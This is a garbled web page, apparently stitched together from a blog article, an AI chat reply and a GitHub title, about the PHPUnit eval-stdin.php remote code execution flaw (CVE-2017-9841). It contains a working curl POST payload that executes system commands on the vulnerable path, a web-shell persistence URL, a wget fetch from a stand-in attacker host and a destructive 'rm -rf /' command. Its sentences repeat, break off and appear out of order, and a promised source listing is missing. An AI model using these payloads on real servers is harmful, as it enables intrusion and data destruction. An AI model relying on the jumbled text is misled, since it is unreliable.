Vendor Phpunit Phpunit Src Util Php Eval-stdin.php Exploit -

Now, the attacker can simply visit https://target.com/shell.php?cmd=whoami and maintain access indefinitely, even after the original eval-stdin.php is removed.

The path vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php is associated with , a critical Remote Code Execution (RCE) vulnerability in PHPUnit. Despite being several years old, it remains a frequent target for automated scanners and malware like Androxgh0st . Vulnerability Overview Severity: Critical (CVSS 9.8).

Despite being patched in 2017, this vulnerability remains highly relevant today. Attackers continuously use automated bots to scan the internet for misconfigured web servers that expose production code repositories or vendor directories. What is CVE-2017-9841?

Developers use it during development to run test suites and ensure code changes do not break existing functionality. The Root Cause of the Exploit vendor phpunit phpunit src util php eval-stdin.php exploit

curl -X POST https://victim.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "<?php system('id'); ?>"

The vulnerability resides in a utility script named eval-stdin.php within older versions of the testing framework. Vulnerability Details : CVE-2017-9841

If you can tell me (e.g., Laravel, Yii, Symfony) or how your server is deployed (e.g., Docker, VPS), I can provide more specific steps to verify if you are vulnerable . Share public link Now, the attacker can simply visit https://target

A PoC exploit for CVE-2017-9841 - PHPUnit Remote Code ... - GitHub

In the world of web application security, few mistakes are as dangerous as leaving development tools exposed on a production server. Among the most infamous examples of this is a small, seemingly innocuous file: eval-stdin.php , part of the PHPUnit testing framework.

The exploit involves sending a malicious request to the PHPUnit test runner with a specially crafted payload. The payload typically includes malicious PHP code that is designed to exploit the vulnerability in the eval-stdin.php script. Vulnerability Overview Severity: Critical (CVSS 9

Here's an example of how the exploit might work:

Let’s look at the actual source code of eval-stdin.php (simplified for clarity):

The attacker can replace ls -la with commands that install a backdoor, download malware, or exfiltrate data, such as: wget http://attacker.com system("rm -rf /"); (Destructive) Real-World Impact: Why It Still Matters in 2026